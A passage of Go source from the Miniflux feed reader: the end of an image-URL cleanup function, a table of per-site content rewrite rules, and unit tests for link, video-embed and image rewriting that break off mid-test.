:= doc.FindMatcher(goquery.Single(\"body\")).Html()\n\treturn strings.TrimSpace(output)\n}\n\nfunc removeImgBlurParams(entryContent string) string {\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\tchanged := false\n\n\tdoc.Find(\"img[src]\").Each(func(i int, img *goquery.Selection) {\n\t\tsrcAttr, exists := img.Attr(\"src\")\n\t\tif !exists {\n\t\t\treturn\n\t\t}\n\n\t\tparsedURL, err := url.Parse(srcAttr)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\n\t\t// Only strip query parameters if this is a blurry placeholder image\n\t\tif parsedURL.RawQuery != \"\" {\n\t\t\t// Check if there's a blur parameter with a non-zero value\n\t\t\tif blurValue := parsedURL.Query().Get(\"blur\"); blurValue != \"\" {\n\t\t\t\tif blurInt, err := strconv.Atoi(blurValue); err == nil && blurInt > 0 {\n\t\t\t\t\tparsedURL.RawQuery = \"\"\n\t\t\t\t\timg.SetAttr(\"src\", parsedURL.String())\n\t\t\t\t\tchanged = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t})\n\n\tif changed {\n\t\toutput, _ := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\t\treturn output\n\t}\n\n\treturn entryContent\n}\n"
  },
  {
    "path": "internal/reader/rewrite/content_rewrite_rules.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rewrite // import \"miniflux.app/v2/internal/reader/rewrite\"\n\n// List of predefined rewrite rules (alphabetically sorted)\n// domain => rule name\n//\n// See https://miniflux.app/docs/rules.html#rewrite-rules\nvar predefinedRules = map[string]string{\n\t\"abstrusegoose.com\":      \"add_image_title\",\n\t\"amazingsuperpowers.com\": \"add_image_title\",\n\t\"bleepingcomputer.com\":   `add_dynamic_image, remove(\".ia_ad, .cz-related-article-wrapp, div[align]\")`,\n\t\"blog.cloudflare.com\":    `add_image_title,remove(\"figure.kg-image-card figure.kg-image + img\")`,\n\t\"cowbirdsinlove.com\":     \"add_image_title\",\n\t\"drawingboardcomic.com\":  \"add_image_title\",\n\t\"exocomics.com\":          \"add_image_title\",\n\t\"explainxkcd.com\":        \"add_image_title\",\n\t\"framatube.org\":          \"nl2br,convert_text_link\",\n\t\"happletea.com\":          \"add_image_title\",\n\t\"ilpost.it\":              `remove(\".art_tag, #audioPlayerArticle, .author-container, .caption, .ilpostShare, .lastRecents, #mc_embed_signup, .outbrain_inread, p:has(.leggi-anche), .youtube-overlay\")`,\n\t\"imogenquest.net\":        \"add_image_title\",\n\t\"lukesurl.com\":           \"add_image_title\",\n\t\"medium.com\":             \"fix_medium_images\",\n\t\"mercworks.net\":          \"add_image_title\",\n\t\"monkeyuser.com\":         \"add_image_title\",\n\t\"mrlovenstein.com\":       \"add_image_title\",\n\t\"nedroid.com\":            \"add_image_title\",\n\t\"oglaf.com\":              `replace(\"media.oglaf.com/story/tt(.+).gif\"|\"media.oglaf.com/comic/$1.jpg\"),add_image_title`,\n\t\"optipess.com\":           \"add_image_title\",\n\t\"peebleslab.com\":         \"add_image_title\",\n\t\"phoronix.com\":           `remove(\"img[src^='/assets/categories/']\")`,\n\t\"quantamagazine.org\":     `add_youtube_video_from_id, remove(\"h6:not(.byline,.post__title__kicker), #comments, .next-post__content, .footer__section, figure .outer--content, script\")`,\n\t\"qwantz.com\":             \"add_image_title,add_mailto_subject\",\n\t\"sentfromthemoon.com\":    \"add_image_title\",\n\t\"thedoghousediaries.com\": \"add_image_title\",\n\t\"theverge.com\":           `add_dynamic_image, remove(\"div.duet--recirculation--related-list, .hidden\")`,\n\t\"treelobsters.com\":       \"add_image_title\",\n\t\"vnexpress.net\":          `add_dynamic_image, remove(\"h1.title-detail, .box-tinlienquanv2, .thumb-above-video, .parser_title, table[border=\\\"0\\\"], p.Normal:has(strong:only-child a), ul.link_content.ul-temp, ul.list-news, div.box-wg-guicauhoi\")`,\n\t\"xkcd.com\":               \"add_image_title\",\n\t\"youtube.com\":            \"add_youtube_video\",\n}\n"
  },
  {
    "path": "internal/reader/rewrite/content_rewrite_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rewrite // import \"miniflux.app/v2/internal/reader/rewrite\"\n\nimport (\n\t\"os\"\n\t\"reflect\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n)\n\nfunc TestParseRules(t *testing.T) {\n\trulesText := `add_dynamic_image,replace(\"article/(.*).svg\"|\"article/$1.png\"),remove(\".spam, .ads:not(.keep)\")`\n\texpected := []rule{\n\t\t{name: \"add_dynamic_image\"},\n\t\t{name: \"replace\", args: []string{\"article/(.*).svg\", \"article/$1.png\"}},\n\t\t{name: \"remove\", args: []string{\".spam, .ads:not(.keep)\"}},\n\t}\n\n\tactual := parseRules(rulesText)\n\n\tif !reflect.DeepEqual(expected, actual) {\n\t\tt.Errorf(`Parsed rules do not match expected rules: got %v instead of %v`, actual, expected)\n\t}\n}\n\nfunc TestReplaceTextLinks(t *testing.T) {\n\tscenarios := map[string]string{\n\t\t`This is a link to example.org`:                                              `This is a link to example.org`,\n\t\t`This is a link to ftp://example.org`:                                        `This is a link to ftp://example.org`,\n\t\t`This is a link to www.example.org`:                                          `This is a link to www.example.org`,\n\t\t`This is a link to http://example.org`:                                       `This is a link to <a href=\"http://example.org\">http://example.org</a>`,\n\t\t`This is a link to http://example.org, end of sentence.`:                     `This is a link to <a href=\"http://example.org\">http://example.org</a>, end of sentence.`,\n\t\t`This is a link to https://example.org`:                                      `This is a link to <a href=\"https://example.org\">https://example.org</a>`,\n\t\t`This is a link to https://www.example.org/path/to?q=s`:                      `This is a link to <a href=\"https://www.example.org/path/to?q=s\">https://www.example.org/path/to?q=s</a>`,\n\t\t`This is a link to https://example.org/index#hash-tag, http://example.org/.`: `This is a link to <a href=\"https://example.org/index#hash-tag\">https://example.org/index#hash-tag</a>, <a href=\"http://example.org/\">http://example.org/</a>.`,\n\t}\n\n\tfor input, expected := range scenarios {\n\t\tactual := replaceTextLinks(input)\n\t\tif actual != expected {\n\t\t\tt.Errorf(`Unexpected link replacement, got \"%s\" instead of \"%s\"`, actual, expected)\n\t\t}\n\t}\n}\n\nfunc TestRewriteWithNoMatchingRule(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `Some text.`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `Some text.`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteYoutubeVideoLink(t *testing.T) {\n\tconfig.Opts = config.NewConfigOptions()\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/watch?v=1234\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://www.youtube-nocookie.com/embed/1234\" allowfullscreen></iframe><br>Video Description`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/watch?v=1234\",\n\t\tTitle:   `A title`,\n\t\tContent: `Video Description`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteYoutubeShortLink(t *testing.T) {\n\tconfig.Opts = config.NewConfigOptions()\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/shorts/1LUWKWZkPjo\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://www.youtube-nocookie.com/embed/1LUWKWZkPjo\" allowfullscreen></iframe><br>Video Description`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/shorts/1LUWKWZkPjo\",\n\t\tTitle:   `A title`,\n\t\tContent: `Video Description`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteIncorrectYoutubeLink(t *testing.T) {\n\tconfig.Opts = config.NewConfigOptions()\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/some-page\",\n\t\tTitle:   `A title`,\n\t\tContent: `Video Description`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/some-page\",\n\t\tTitle:   `A title`,\n\t\tContent: `Video Description`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteYoutubeLinkAndCustomEmbedURL(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"YOUTUBE_EMBED_URL_OVERRIDE\", \"https://invidious.custom/embed/\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/watch?v=1234\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://invidious.custom/embed/1234\" allowfullscreen></iframe><br>Video Description`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/watch?v=1234\",\n\t\tTitle:   `A title`,\n\t\tContent: `Video Description`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteYoutubeVideoLinkUsingInvidious(t *testing.T) {\n\tconfig.Opts = config.NewConfigOptions()\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/watch?v=1234\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://yewtu.be/embed/1234\" allowfullscreen></iframe><br>Video Description`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/watch?v=1234\",\n\t\tTitle:   `A title`,\n\t\tContent: `Video Description`,\n\t}\n\n\tApplyContentRewriteRules(testEntry, `add_youtube_video_using_invidious_player`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteYoutubeShortLinkUsingInvidious(t *testing.T) {\n\tconfig.Opts = config.NewConfigOptions()\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/shorts/1LUWKWZkPjo\",\n\t\tTitle:   `A title`,\n\t\tContent: `<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://yewtu.be/embed/1LUWKWZkPjo\" allowfullscreen></iframe><br>Video Description`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/shorts/1LUWKWZkPjo\",\n\t\tTitle:   `A title`,\n\t\tContent: `Video Description`,\n\t}\n\n\tApplyContentRewriteRules(testEntry, `add_youtube_video_using_invidious_player`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestAddYoutubeVideoFromId(t *testing.T) {\n\tconfig.Opts = config.NewConfigOptions()\n\n\tscenarios := map[string]string{\n\t\t// Test with single YouTube ID\n\t\t`Some content with youtube ID <script type=\"text/javascript\" data-reactid=\"6\">window.__APOLLO_STATE__ = {youtube_id: \"9uASADiYe_8\"}</script>`: `<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://www.youtube-nocookie.com/embed/9uASADiYe_8\" allowfullscreen></iframe><br>Some content with youtube ID <script type=\"text/javascript\" data-reactid=\"6\">window.__APOLLO_STATE__ = {youtube_id: \"9uASADiYe_8\"}</script>`,\n\n\t\t// Test with multiple YouTube IDs\n\t\t`Content with youtube_id: \"dQw4w9WgXcQ\" and youtube_id: \"jNQXAC9IVRw\"`: `<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ\" allowfullscreen></iframe><br><iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://www.youtube-nocookie.com/embed/jNQXAC9IVRw\" allowfullscreen></iframe><br>Content with youtube_id: \"dQw4w9WgXcQ\" and youtube_id: \"jNQXAC9IVRw\"`,\n\n\t\t// Test with YouTube ID using equals sign\n\t\t`Some content with youtube_id = \"dQw4w9WgXcQ\"`: `<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ\" allowfullscreen></iframe><br>Some content with youtube_id = \"dQw4w9WgXcQ\"`,\n\n\t\t// Test with spaces around delimiters\n\t\t`Some content with youtube_id : \"dQw4w9WgXcQ\"`: `<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ\" allowfullscreen></iframe><br>Some content with youtube_id : \"dQw4w9WgXcQ\"`,\n\n\t\t// Test with YouTube ID without quotes (regex requires quotes)\n\t\t`Some content with youtube_id: dQw4w9WgXcQ and more`: `Some content with youtube_id: dQw4w9WgXcQ and more`,\n\n\t\t// Test with no YouTube ID\n\t\t`Some regular content without any video ID`: `Some regular content without any video ID`,\n\n\t\t// Test with invalid YouTube ID (wrong length)\n\t\t`Some content with youtube_id: \"invalid\"`: `Some content with youtube_id: \"invalid\"`,\n\n\t\t// Test with empty content\n\t\t``: ``,\n\t}\n\n\tfor input, expected := range scenarios {\n\t\tactual := addYoutubeVideoFromId(input)\n\t\tif actual != expected {\n\t\t\tt.Errorf(`addYoutubeVideoFromId test failed for input \"%s\"`, input)\n\t\t\tt.Errorf(`Expected: \"%s\"`, expected)\n\t\t\tt.Errorf(`Actual: \"%s\"`, actual)\n\t\t}\n\t}\n}\n\nfunc TestAddYoutubeVideoFromIdWithCustomEmbedURL(t *testing.T) {\n\tos.Clearenv()\n\tos.Setenv(\"YOUTUBE_EMBED_URL_OVERRIDE\", \"https://invidious.custom/embed/\")\n\n\tvar err error\n\tparser := config.NewConfigParser()\n\tconfig.Opts, err = parser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(`Parsing failure: %v`, err)\n\t}\n\n\tinput := `Some content with youtube_id: \"dQw4w9WgXcQ\"`\n\texpected := `<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://invidious.custom/embed/dQw4w9WgXcQ\" allowfullscreen></iframe><br>Some content with youtube_id: \"dQw4w9WgXcQ\"`\n\n\tactual := addYoutubeVideoFromId(input)\n\tif actual != expected {\n\t\tt.Errorf(`addYoutubeVideoFromId with custom embed URL failed`)\n\t\tt.Errorf(`Expected: \"%s\"`, expected)\n\t\tt.Errorf(`Actual: \"%s\"`, actual)\n\t}\n}\n\nfunc TestAddInvidiousVideo(t *testing.T) {\n\tscenarios := map[string][]string{\n\t\t// Test with various Invidious instances\n\t\t\"https://invidious.io/watch?v=dQw4w9WgXcQ\": {\n\t\t\t\"Some video content\",\n\t\t\t`<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://invidious.io/embed/dQw4w9WgXcQ\" allowfullscreen></iframe><br>Some video content`,\n\t\t},\n\t\t\"https://yewtu.be/watch?v=jNQXAC9IVRw\": {\n\t\t\t\"Another video description\",\n\t\t\t`<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://yewtu.be/embed/jNQXAC9IVRw\" allowfullscreen></iframe><br>Another video description`,\n\t\t},\n\t\t\"http://invidious.snopyta.org/watch?v=dQw4w9WgXcQ\": {\n\t\t\t\"HTTP instance test\",\n\t\t\t`<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://invidious.snopyta.org/embed/dQw4w9WgXcQ\" allowfullscreen></iframe><br>HTTP instance test`,\n\t\t},\n\t\t\"https://youtube.com/watch?v=dQw4w9WgXcQ\": {\n\t\t\t\"YouTube URL (also matches regex)\",\n\t\t\t`<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://youtube.com/embed/dQw4w9WgXcQ\" allowfullscreen></iframe><br>YouTube URL (also matches regex)`,\n\t\t},\n\t\t\"https://example.org/watch?v=dQw4w9WgXcQ\": {\n\t\t\t\"Any domain with watch pattern\",\n\t\t\t`<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://example.org/embed/dQw4w9WgXcQ\" allowfullscreen></iframe><br>Any domain with watch pattern`,\n\t\t},\n\n\t\t// Test with query parameters\n\t\t\"https://invidious.io/watch?v=dQw4w9WgXcQ&t=30s\": {\n\t\t\t\"Video with timestamp\",\n\t\t\t`<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://invidious.io/embed/dQw4w9WgXcQ?t=30s\" allowfullscreen></iframe><br>Video with timestamp`,\n\t\t},\n\n\t\t// Test with more complex query parameters\n\t\t\"https://invidious.io/watch?v=dQw4w9WgXcQ&t=30s&autoplay=1\": {\n\t\t\t\"Video with multiple parameters\",\n\t\t\t`<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://invidious.io/embed/dQw4w9WgXcQ?autoplay=1&t=30s\" allowfullscreen></iframe><br>Video with multiple parameters`,\n\t\t},\n\n\t\t// Test with non-matching URLs (should return content unchanged)\n\t\t\"https://invidious.io/\": {\n\t\t\t\"Invidious homepage\",\n\t\t\t\"Invidious homepage\",\n\t\t},\n\t\t\"https://invidious.io/some-other-page\": {\n\t\t\t\"Other page\",\n\t\t\t\"Other page\",\n\t\t},\n\t\t\"https://invidious.io/search?q=test\": {\n\t\t\t\"Search page\",\n\t\t\t\"Search page\",\n\t\t},\n\n\t\t// Test with empty content\n\t\t\"https://empty.invidious.io/watch?v=dQw4w9WgXcQ\": {\n\t\t\t\"\",\n\t\t\t`<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"https://empty.invidious.io/embed/dQw4w9WgXcQ\" allowfullscreen></iframe><br>`,\n\t\t},\n\t}\n\n\tfor entryURL, testData := range scenarios {\n\t\tentryContent := testData[0]\n\t\texpected := testData[1]\n\n\t\tactual := addInvidiousVideo(entryURL, entryContent)\n\t\tif actual != expected {\n\t\t\tt.Errorf(`addInvidiousVideo test failed for URL \"%s\" and content \"%s\"`, entryURL, entryContent)\n\t\t\tt.Errorf(`Expected: \"%s\"`, expected)\n\t\t\tt.Errorf(`Actual: \"%s\"`, actual)\n\t\t}\n\t}\n}\n\nfunc TestRewriteWithInexistingCustomRule(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/watch?v=1234\",\n\t\tTitle:   `A title`,\n\t\tContent: `Video Description`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://www.youtube.com/watch?v=1234\",\n\t\tTitle:   `A title`,\n\t\tContent: `Video Description`,\n\t}\n\tApplyContentRewriteRules(testEntry, `some rule`)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithXkcdLink(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://xkcd.com/1912/\",\n\t\tTitle:   `A title`,\n\t\tContent: `<figure><img src=\"https://imgs.xkcd.com/comics/thermostat.png\" alt=\"Your problem is so terrible, I worry that, if I help you, I risk drawing the attention of whatever god of technology inflicted it on you.\"/><figcaption><p>Your problem is so terrible, I worry that, if I help you, I risk drawing the attention of whatever god of technology inflicted it on you.</p></figcaption></figure>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://xkcd.com/1912/\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"https://imgs.xkcd.com/comics/thermostat.png\" title=\"Your problem is so terrible, I worry that, if I help you, I risk drawing the attention of whatever god of technology inflicted it on you.\" alt=\"Your problem is so terrible, I worry that, if I help you, I risk drawing the attention of whatever god of technology inflicted it on you.\" />`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithXkcdLinkHtmlInjection(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://xkcd.com/1912/\",\n\t\tTitle:   `A title`,\n\t\tContent: `<figure><img src=\"https://imgs.xkcd.com/comics/thermostat.png\" alt=\"&lt;foo&gt;\"/><figcaption><p>&lt;foo&gt;</p></figcaption></figure>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://xkcd.com/1912/\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"https://imgs.xkcd.com/comics/thermostat.png\" title=\"<foo>\" alt=\"<foo>\" />`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithXkcdLinkAndImageNoTitle(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://xkcd.com/1912/\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"https://imgs.xkcd.com/comics/thermostat.png\" alt=\"Your problem is so terrible, I worry that, if I help you, I risk drawing the attention of whatever god of technology inflicted it on you.\" />`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://xkcd.com/1912/\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"https://imgs.xkcd.com/comics/thermostat.png\" alt=\"Your problem is so terrible, I worry that, if I help you, I risk drawing the attention of whatever god of technology inflicted it on you.\" />`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithXkcdLinkAndNoImage(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://xkcd.com/1912/\",\n\t\tTitle:   `A title`,\n\t\tContent: `test`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://xkcd.com/1912/\",\n\t\tTitle:   `A title`,\n\t\tContent: `test`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithXkcdAndNoImage(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://xkcd.com/1912/\",\n\t\tTitle:   `A title`,\n\t\tContent: `test`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://xkcd.com/1912/\",\n\t\tTitle:   `A title`,\n\t\tContent: `test`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteMailtoLink(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://www.qwantz.com/\",\n\t\tTitle:   `A title`,\n\t\tContent: `<a href=\"mailto:ryan@qwantz.com?subject=blah%20blah\">contact [blah blah]</a>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://www.qwantz.com/\",\n\t\tTitle:   `A title`,\n\t\tContent: `<a href=\"mailto:ryan@qwantz.com?subject=blah%20blah\">contact</a>`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithPDFLink(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/document.pdf\",\n\t\tTitle:   `A title`,\n\t\tContent: `<a href=\"https://example.org/document.pdf\">PDF</a><br>test`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/document.pdf\",\n\t\tTitle:   `A title`,\n\t\tContent: `test`,\n\t}\n\tApplyContentRewriteRules(testEntry, ``)\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithNoLazyImage(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"https://example.org/image.jpg\" alt=\"Image\"><noscript><p>Some text</p></noscript>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"https://example.org/image.jpg\" alt=\"Image\"><noscript><p>Some text</p></noscript>`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"add_dynamic_image\")\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithLazyImage(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"https://example.org/image.jpg\" data-url=\"https://example.org/image.jpg\" alt=\"Image\"/><noscript><img src=\"https://example.org/fallback.jpg\" alt=\"Fallback\"/></noscript>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"\" data-url=\"https://example.org/image.jpg\" alt=\"Image\"><noscript><img src=\"https://example.org/fallback.jpg\" alt=\"Fallback\"></noscript>`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"add_dynamic_image\")\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithLazyDivImage(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"https://example.org/image.jpg\" alt=\"Image\"/><noscript><img src=\"https://example.org/fallback.jpg\" alt=\"Fallback\"/></noscript>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<div data-url=\"https://example.org/image.jpg\" alt=\"Image\"></div><noscript><img src=\"https://example.org/fallback.jpg\" alt=\"Fallback\"></noscript>`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"add_dynamic_image\")\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithUnknownLazyNoScriptImage(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"\" data-non-candidate=\"https://example.org/image.jpg\" alt=\"Image\"/><img src=\"https://example.org/fallback.jpg\" alt=\"Fallback\"/>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img src=\"\" data-non-candidate=\"https://example.org/image.jpg\" alt=\"Image\"><noscript><img src=\"https://example.org/fallback.jpg\" alt=\"Fallback\"></noscript>`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"add_dynamic_image\")\n\n\tif !reflect.DeepEqual(testEntry, controlEntry) {\n\t\tt.Errorf(`Not expected output: got \"%+v\" instead of \"%+v\"`, testEntry, controlEntry)\n\t}\n}\n\nfunc TestRewriteWithLazySrcset(t *testing.T) {\n\tcontrolEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img srcset=\"https://example.org/image.jpg\" data-srcset=\"https://example.org/image.jpg\" alt=\"Image\"/>`,\n\t}\n\ttestEntry := &model.Entry{\n\t\tURL:     \"https://example.org/article\",\n\t\tTitle:   `A title`,\n\t\tContent: `<img srcset=\"\" data-srcset=\"https://example.org/image.jpg\" alt=\"Image\">`,\n\t}\n\tApplyContentRewriteRules(testEntry, \"add_dynamic_image\")\n\n\tif 